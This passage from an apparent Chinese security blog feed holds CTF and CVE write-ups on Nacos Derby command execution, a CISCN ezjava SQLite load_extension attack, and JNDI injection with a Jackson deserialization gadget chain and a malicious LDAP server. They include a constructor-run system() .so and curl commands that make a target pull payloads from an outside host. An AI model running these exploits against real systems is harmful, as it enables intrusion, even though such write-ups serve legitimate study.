class="line"><span class="comment"> * <span class="doctag">@return</span> &#123;<span class="doctag">@link</span> DeferredResult&#125;  </span></span><br><span class="line"><span class="comment"> */</span><span class="meta">@PostMapping(value = &quot;/data/removal&quot;)</span>  </span><br><span class="line"><span class="meta">@Secured(action = ActionTypes.WRITE, resource = &quot;nacos/admin&quot;)</span>  </span><br><span class="line"><span class="keyword">public</span> DeferredResult&lt;RestResult&lt;String&gt;&gt; <span class="title function_">importDerby</span><span class="params">(<span class="meta">@RequestParam(value = &quot;file&quot;)</span> MultipartFile multipartFile)</span> &#123;  </span><br><span class="line">    DeferredResult&lt;RestResult&lt;String&gt;&gt; response = <span class="keyword">new</span> <span class="title class_">DeferredResult</span>&lt;&gt;();  </span><br><span class="line">    <span class="keyword">if</span> (!DatasourceConfiguration.isEmbeddedStorage()) &#123;  </span><br><span class="line">        response.setResult(RestResultUtils.failed(<span class="string">&quot;Limited to embedded storage mode&quot;</span>));  </span><br><span class="line">        <span class="keyword">return</span> response;  </span><br><span class="line">    &#125;  </span><br><span class="line">    <span class="type">DatabaseOperate</span> <span class="variable">databaseOperate</span> <span class="operator">=</span> ApplicationUtils.getBean(DatabaseOperate.class);  </span><br><span class="line">    WebUtils.onFileUpload(multipartFile, file -&gt; &#123;  </span><br><span class="line">        NotifyCenter.publishEvent(<span class="keyword">new</span> <span class="title class_">DerbyImportEvent</span>(<span class="literal">false</span>));  </span><br><span class="line">        databaseOperate.dataImport(file).whenComplete((result, ex) -&gt; &#123;  </span><br><span class="line">            NotifyCenter.publishEvent(<span class="keyword">new</span> <span class="title class_">DerbyImportEvent</span>(<span class="literal">true</span>));  </span><br><span class="line">            <span class="keyword">if</span> (Objects.nonNull(ex)) &#123;  </span><br><span class="line">                response.setResult(RestResultUtils.failed(ex.getMessage()));  </span><br><span class="line">                <span class="keyword">return</span>;  </span><br><span class="line">            &#125;  </span><br><span class="line">            response.setResult(result);  </span><br><span class="line">        &#125;);  </span><br><span class="line">    &#125;, response);  </span><br><span class="line">    <span class="keyword">return</span> response;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240716003646.png"></p><p>发现文件上传，有个临时文件看看内容是什么</p><p><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240716003808.png"></p><p>内容是导入恶意jar包的sql代码</p><p><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240716003909.png"></p><p>发现在数据导入的时候</p><p><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240716004312.png"></p><p>通过一行行设置sql代码进入List集合</p><p><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240716004406.png"></p><p>再次进入doDataImport</p><p><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240716004545.png"></p><p>进入batchUpdate</p><p><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240716004744.png"><br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240716004655.png"></p><p>调用了execute</p><p><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240716005045.png"></p><p>调用了BatchUpdateStatementCallback#doInStatement函数<br>最后调用stmt.executeBatch函数执行数据库操作命令</p><p><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240716005356.png"></p><p>这样恶意jar就已经加载进入数据库了<br>再次使用select查询数据库就能执行恶意命令，p牛师傅给出过一个链接<br><a href="https://github.com/alibaba/nacos/issues/4463">https://github.com/alibaba/nacos/issues/4463</a></p><p><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240716005629.png"></p><p>存在任意sql执行</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">get_sql <span class="operator">=</span> &quot;select * from (select count(*) as b, S_EXAMPLE_&#123;id&#125;(&#x27;&#123;cmd&#125;&#x27;) as a from config_info) tmp /*ROWS FETCH NEXT*/&quot;.format(id<span class="operator">=</span>id,cmd<span class="operator">=</span>command);</span><br></pre></td></tr></table></figure><p>所以即可执行命令<br>现在有鉴权</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(value = &quot;/derby&quot;)</span>  </span><br><span class="line"><span class="meta">@Secured(action = ActionTypes.READ, resource = &quot;nacos/admin&quot;)</span>  </span><br><span class="line"><span class="keyword">public</span> RestResult&lt;Object&gt; <span class="title function_">derbyOps</span><span class="params">(<span class="meta">@RequestParam(value = &quot;sql&quot;)</span> String sql)</span> &#123;  </span><br><span class="line">    <span class="type">String</span> <span class="variable">selectSign</span> <span class="operator">=</span> <span class="string">&quot;SELECT&quot;</span>;  </span><br><span class="line">    <span class="type">String</span> <span class="variable">limitSign</span> <span class="operator">=</span> <span class="string">&quot;ROWS FETCH NEXT&quot;</span>;  </span><br><span class="line">    <span class="type">String</span> <span class="variable">limit</span> <span class="operator">=</span> <span class="string">&quot; OFFSET 0 ROWS FETCH NEXT 1000 ROWS ONLY&quot;</span>;  </span><br><span class="line">    <span class="keyword">try</span> &#123;  </span><br><span class="line">        <span class="keyword">if</span> (!DatasourceConfiguration.isEmbeddedStorage()) &#123;  </span><br><span class="line">            <span class="keyword">return</span> RestResultUtils.failed(<span class="string">&quot;The current storage mode is not Derby&quot;</span>);  </span><br><span class="line">        &#125;  </span><br><span class="line">        <span class="type">LocalDataSourceServiceImpl</span> <span class="variable">dataSourceService</span> <span class="operator">=</span> (LocalDataSourceServiceImpl) DynamicDataSource  </span><br><span class="line">                .getInstance().getDataSource();  </span><br><span class="line">        <span class="keyword">if</span> (StringUtils.startsWithIgnoreCase(sql, selectSign)) &#123;  </span><br><span class="line">            <span class="keyword">if</span> (!StringUtils.containsIgnoreCase(sql, limitSign)) &#123;  </span><br><span class="line">                sql += limit;  </span><br><span class="line">            &#125;  </span><br><span class="line">            <span class="type">JdbcTemplate</span> <span class="variable">template</span> <span class="operator">=</span> dataSourceService.getJdbcTemplate();  </span><br><span class="line">            List&lt;Map&lt;String, Object&gt;&gt; result = template.queryForList(sql);  </span><br><span class="line">            <span class="keyword">return</span> RestResultUtils.success(result);  </span><br><span class="line">        &#125;  </span><br><span class="line">        <span class="keyword">return</span> RestResultUtils.failed(<span class="string">&quot;Only query statements are allowed to be executed&quot;</span>);  </span><br><span class="line">    &#125; <span class="keyword">catch</span> (Exception e) &#123;  </span><br><span class="line">        <span class="keyword">return</span> RestResultUtils.failed(e.getMessage());  </span><br><span class="line">    &#125;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;首先下载&quot;&gt;&lt;a href=&quot;#首先下载&quot; class=&quot;headerlink&quot; title=&quot;首先下载&quot;&gt;&lt;/a&gt;首先下载&lt;/h2&gt;&lt;h3 id=&quot;poc&quot;&gt;&lt;a href=&quot;#poc&quot; class=&quot;headerlink&quot; title=&quot;poc&quot;&gt;&lt;/a&gt;po</summary>
      
    
    
    
    
    <category term="java" scheme="https://www.n1ght.cn/tags/java/"/>
    
    <category term="cve" scheme="https://www.n1ght.cn/tags/cve/"/>
    
  </entry>
  
  <entry>
    <title>2024ciscn-ezjava</title>
    <link href="https://www.n1ght.cn/2024/07/12/2024ciscn-ezjava/"/>
    <id>https://www.n1ght.cn/2024/07/12/2024ciscn-ezjava/</id>
    <published>2024-07-12T13:00:00.000Z</published>
    <updated>2024-07-12T13:17:45.679Z</updated>
    
    <content type="html"><![CDATA[<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">a</span><span class="params">()</span> &#123;</span><br><span class="line">    system(<span class="string">&quot;cmd&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">__attribute__((constructor)) <span class="type">void</span> <span class="title function_">init</span><span class="params">()</span> &#123;</span><br><span class="line">    a();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>静态编译so文件<br>gcc -shared -o vulnso.so -fPIC vulnso.c<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240519145605.png"><br>生成一个临时文件</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.jdbctest;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.File;</span><br><span class="line"><span class="keyword">import</span> java.sql.Connection;</span><br><span class="line"><span class="keyword">import</span> java.sql.DriverManager;</span><br><span class="line"><span class="keyword">import</span> java.sql.PreparedStatement;</span><br><span class="line"><span class="keyword">import</span> java.sql.Statement;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Gen</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                <span class="type">String</span> <span class="variable">dbFile</span> <span class="operator">=</span> <span class="string">&quot;F:/poc.db&quot;</span>;</span><br><span class="line">                <span class="type">File</span> <span class="variable">file</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">File</span>(dbFile);</span><br><span class="line">                Class.forName(<span class="string">&quot;org.sqlite.JDBC&quot;</span>);    <span class="comment">//保证lib文件夹中已导入相关的jdbc包</span></span><br><span class="line">                <span class="type">Connection</span> <span class="variable">conn</span> <span class="operator">=</span> DriverManager.getConnection(<span class="string">&quot;jdbc:sqlite:&quot;</span>+dbFile);<span class="comment">//创建数据库连接</span></span><br><span class="line">                System.out.println(<span class="string">&quot;Opened database successfully&quot;</span>);</span><br><span class="line"></span><br><span class="line">                <span class="type">String</span> <span class="variable">sql</span> <span class="operator">=</span> <span class="string">&quot;CREATE VIEW security as SELECT ( SELECT load_extension(&#x27;/tmp/sqlite-jdbc-tmp-2133282111.db&#x27;));&quot;</span>;  <span class="comment">//向其中插入传入的三个参数</span></span><br><span class="line">                <span class="type">PreparedStatement</span> <span class="variable">preStmt</span> <span class="operator">=</span> conn.prepareStatement(sql);</span><br><span class="line"></span><br><span class="line">                preStmt.executeUpdate();</span><br><span class="line">                preStmt.close();</span><br><span class="line">                conn.close();</span><br><span class="line"></span><br><span class="line">            &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">                e.printStackTrace();</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">curl --header <span class="string">&quot;Content-Type: application/json&quot;</span>  --request POST  --data <span class="string">&#x27;&#123;&quot;type&quot;: 3,&quot;url&quot;: &quot;jdbc:sqlite::resource:http://106.54.209.118/vulnso.so&quot;,&quot;tableName&quot;: &quot;security&quot;&#125;&#x27;</span> http://8.147.129.121:31442/jdbc/connect</span><br><span class="line">curl --header <span class="string">&quot;Content-Type: application/json&quot;</span>  --request POST  --data <span class="string">&#x27;&#123;&quot;type&quot;: 3,&quot;url&quot;: &quot;jdbc:sqlite::resource:http://106.54.209.118/poc.db&quot;,&quot;tableName&quot;: &quot;security&quot;&#125;&#x27;</span> http://8.147.129.121:31442/jdbc/connect</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240519153213%202.png"><br>由于<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240519145723.png"><br>这个hash是<a href="http://106.54.209.118/poc.db%E5%8D%A1%E4%BA%86%E4%B8%80%E6%AE%B5%E6%97%B6%E9%97%B4">http://106.54.209.118/poc.db卡了一段时间</a><br>依次执行上面的poc.db和vulnso.so<br><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240519145627.png"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;figure class=&quot;highlight c&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;li</summary>
      
    
    
    
    
    <category term="java" scheme="https://www.n1ght.cn/tags/java/"/>
    
  </entry>
  
  <entry>
    <title>geekcon-old_log</title>
    <link href="https://www.n1ght.cn/2024/04/25/geekcon-old_log/"/>
    <id>https://www.n1ght.cn/2024/04/25/geekcon-old_log/</id>
    <published>2024-04-24T16:00:00.000Z</published>
    <updated>2024-04-24T16:43:12.919Z</updated>
    
    <content type="html"><![CDATA[<p><img src="https://raw.githubusercontent.com/yezere/images/master/Pasted%20image%2020240422014918.png"></p><h2 id="jdk1-8，jdk11"><a href="#jdk1-8，jdk11" class="headerlink" title="jdk1.8，jdk11"></a>jdk1.8，jdk11</h2><p>在jndi注入下，jdk1.8使用ldap传入java反序列化，打jackson链子即可（漏洞存在环境jdk1.8，jdk11）因为在后面几个版本Template类被做了一些限制<br>编写参考（能自己写但是没有必要）<br><a href="https://github.com/X1r0z/JNDIMap/blob/main/src/main/java/map/jndi/gadget/Jackson.java">jndiMap</a></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> map.jndi.gadget;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.fasterxml.jackson.databind.node.POJONode;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;</span><br><span class="line"><span class="keyword">import</span> javassist.ClassPool;</span><br><span class="line"><span class="keyword">import</span> javassist.CtClass;</span><br><span class="line"><span class="keyword">import</span> javassist.CtMethod;</span><br><span class="line"><span class="keyword">import</span> map.jndi.util.ReflectUtil;</span><br><span class="line"><span class="keyword">import</span> map.jndi.util.SerializeUtil;</span><br><span class="line"><span class="keyword">import</span> org.springframework.aop.framework.AdvisedSupport;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> javax.management.BadAttributeValueExpException;</span><br><span class="line"><span class="keyword">import</span> javax.xml.transform.Templates;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Constructor;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.InvocationHandler;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Proxy;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Jackson</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="type">byte</span>[] create(TemplatesImpl templatesImpl) <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">ClassPool</span> <span class="variable">pool</span> <span class="operator">=</span> ClassPool.getDefault();</span><br><span class="line">        <span class="type">CtClass</span> <span class="variable">ctClass</span> <span class="operator">=</span> pool.get(<span class="string">&quot;com.fasterxml.jackson.databind.node.BaseJsonNode&quot;</span>);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (!ctClass.isFrozen()) &#123;</span><br><span class="line">            <span class="type">CtMethod</span> <span class="variable">ctMethod</span> <span class="operator">=</span> ctClass.getDeclaredMethod(<span class="string">&quot;writeReplace&quot;</span>);</span><br><span class="line">            ctClass.removeMethod(ctMethod);</span><br><span class="line">            ctClass.freeze();</span><br><span class="line">            ctClass.toClass();</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="type">AdvisedSupport</span> <span class="variable">as</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AdvisedSupport</span>();</span><br><span class="line">        as.setTarget(templatesImpl);</span><br><span class="line"></span><br><span class="line">        <span class="type">Constructor</span> <span class="variable">constructor</span> <span class="operator">=</span> Class.forName(<span class="string">&quot;org.springframework.aop.framework.JdkDynamicAopProxy&quot;</span>).getDeclaredConstructor(AdvisedSupport.class);</span><br><span class="line">        constructor.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        <span class="type">InvocationHandler</span> <span class="variable">jdkDynamicAopProxyHandler</span> <span class="operator">=</span> (InvocationHandler) constructor.newInstance(as);</span><br><span class="line"></span><br><span class="line">        <span class="type">Templates</span> <span class="variable">templatesProxy</span> <span class="operator">=</span> (Templates) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;Templates.class&#125;, jdkDynamicAopProxyHandler);</span><br><span class="line"></span><br><span class="line">        <span class="type">POJONode</span> <span class="variable">pojoNode</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">POJONode</span>(templatesProxy);</span><br><span class="line">        <span class="type">BadAttributeValueExpException</span> <span class="variable">e</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">BadAttributeValueExpException</span>(<span class="literal">null</span>);</span><br><span class="line">        ReflectUtil.setFieldValue(e, <span class="string">&quot;val&quot;</span>, pojoNode);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> SerializeUtil.serialize(e);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>jackson反序列化触发getter，使用spring aop使链子稳定</p><h2 id="jdk17"><a href="#jdk17" class="headerlink" title="jdk17"></a>jdk17</h2><p>在jdk17中，rmi访问外网ip会有一些问题，这边使用LDAP + Reference<br>这边使用X1r0z师傅的博客来演示一下<br><a href="https://exp10it.io/2022/12/jndi-%E6%B3%A8%E5%85%A5%E6%B5%85%E6%9E%90/#ldap--reference">X1r0z blog</a></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.unboundid.ldap.listener.InMemoryDirectoryServer;</span><br><span class="line"><span class="keyword">import</span> com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;</span><br><span class="line"><span class="keyword">import</span> com.unboundid.ldap.listener.InMemoryListenerConfig;</span><br><span class="line"><span class="keyword">import</span> com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;</span><br><span class="line"><span class="keyword">import</span> com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;</span><br><span class="line"><span class="keyword">import</span> com.unboundid.ldap.sdk.Entry;</span><br><span class="line"><span class="keyword">import</span> com.unboundid.ldap.sdk.LDAPException;</span><br><span class="line"><span class="keyword">import</span> com.unboundid.ldap.sdk.LDAPResult;</span><br><span class="line"><span class="keyword">import</span> com.unboundid.ldap.sdk.ResultCode;</span><br><span class="line"><span class="keyword">import</span> com.unboundid.util.Base64;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> javax.net.ServerSocketFactory;</span><br><span class="line"><span class="keyword">import</span> javax.net.SocketFactory;</span><br><span class="line"><span class="keyword">import</span> javax.net.ssl.SSLSocketFactory;</span><br><span class="line"><span class="keyword">import</span> java.net.InetAddress;</span><br><span class="line"><span class="keyword">import</span> java.net.MalformedURLException;</span><br><span class="line"><span class="keyword">import</span> java.net.URL;</span><br><span class="line"><span class="keyword">import</span> java.text.ParseException;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">LDAPServer</span>&#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">LDAP_BASE</span> <span class="operator">=</span> <span class="string">&quot;dc=example,dc=com&quot;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span> <span class="params">(String[] args)</span> &#123;</span><br><span class="line"></span><br><span class="line">        <span class="type">String</span> <span class="variable">url</span> <span class="operator">=</span> <span class="string">&quot;http://127.0.0.1:8000/#Evil&quot;</span>;</span><br><span class="line">        <span class="type">int</span> <span class="variable">port</span> <span class="operator">=</span> <span class="number">1389</span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="type">InMemoryDirectoryServerConfig</span> <span class="variable">config</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InMemoryDirectoryServerConfig</span>(LDAP_BASE);</span><br><span class="line">            config.setListenerConfigs(<span class="keyword">new</span> <span class="title class_">InMemoryListenerConfig</span>(</span><br><span class="line">                    <span class="string">&quot;listen&quot;</span>,</span><br><span class="line">                    InetAddress.getByName(<span class="string">&quot;0.0.0.0&quot;</span>),</span><br><span class="line">                    port,</span><br><span class="line">                    ServerSocketFactory.getDefault(),</span><br><span class="line">                    SocketFactory.getDefault(),</span><br><span class="line">                    (SSLSocketFactory) SSLSocketFactory.getDefault()));</span><br><span class="line"></span><br><span class="line">            config.addInMemoryOperationInterceptor(<span class="keyword">new</span> <span class="title class_">OperationInterceptor</span>(<span class="keyword">new</span> <span class="title class_">URL</span>(url)));</span><br><span class="line">            <span class="type">InMemoryDirectoryServer</span> <span class="variable">ds</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InMemoryDirectoryServer</span>(config);</span><br><span class="line">            System.out.println(<span class="string">&quot;Listening on 0.0.0.0:&quot;</span> + port);</span><br><span class="line">            ds.startListening();</span><br><span class="line"></span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">catch</span> ( Exception e ) &#123;</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">class</span> <span class="title class_">OperationInterceptor</span> <span class="keyword">extends</span> <span class="title class_">InMemoryOperationInterceptor</span> &#123;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">private</span> URL codebase;</span><br><span class="line">        <span class="keyword">public</span> <span class="title function_">OperationInterceptor</span> <span class="params">( URL cb )</span> &#123;</span><br><span class="line">            <span class="built_in">this</span>.codebase = cb;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">/**</span></span><br><span class="line"><span class="comment">         * &#123;<span class="doctag">@inheritDoc</span>&#125;</span></span><br><span class="line"><span class="comment">         *</span></span><br><span class="line"><span class="comment">         * <span class="doctag">@see</span> com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)</span></span><br><span class="line"><span class="comment">         */</span></span><br><span class="line">        <span class="meta">@Override</span></span><br><span class="line">        <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">processSearchResult</span> <span class="params">(InMemoryInterceptedSearchResult result )</span> &#123;</span><br><span class="line">            <span class="type">String</span> <span class="variable">base</span> <span class="operator">=</span> result.getRequest().getBaseDN();</span><br><span class="line">            <span class="type">Entry</span> <span class="variable">e</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Entry</span>(base);</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                sendResult(result, base, e);</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">catch</span> ( Exception e1 ) &#123;</span><br><span class="line">                e1.printStackTrace();</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">sendResult</span> <span class="params">( InMemoryInterceptedSearchResult result, String base, Entry e )</span> <span class="keyword">throws</span> LDAPException, MalformedURLException &#123;</span><br><span class="line">            <span class="type">URL</span> <span class="variable">turl</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">URL</span>(<span class="built_in">this</span>.codebase, <span class="built_in">this</span>.codebase.getRef().replace(<span class="string">&#x27;.&#x27;</span>, <span class="string">&#x27;/&#x27;</span>).concat(<span class="string">&quot;.class&quot;</span>));</span><br><span class="line">            System.out.println(<span class="string">&quot;Send LDAP reference result for &quot;</span> + base + <span class="string">&quot; redirecting to &quot;</span> + turl);</span><br><span class="line">            e.addAttribute(<span class="string">&quot;javaClassName&quot;</span>, <span class="string">&quot;Exploit&quot;</span>);</span><br><span class="line">            <span class="type">String</span> <span class="variable">cbstring</span> <span class="operator">=</span> <span class="built_in">this</span>.codebase.toString();</span><br><span class="line">            <span class="type">int</span> <span class="variable">refPos</span> <span class="operator">=</span> cbstring.indexOf(<span class="string">&#x27;#&#x27;</span>);</span><br><span class="line">            <span class="keyword">if</span> ( refPos &gt; <span class="number">0</span> ) &#123;</span><br><span class="line">                cbstring = cbstring.substring(<span class="number">0</span>, refPos);</span><br><span class="line">            &#125;</span><br><span class="line"><span class="comment">//             Payload1: 利用 LDAP + Reference Factory</span></span><br><span class="line">            e.addAttribute(<span class="string">&quot;javaCodeBase&quot;</span>, cbstring);</span><br><span class="line">            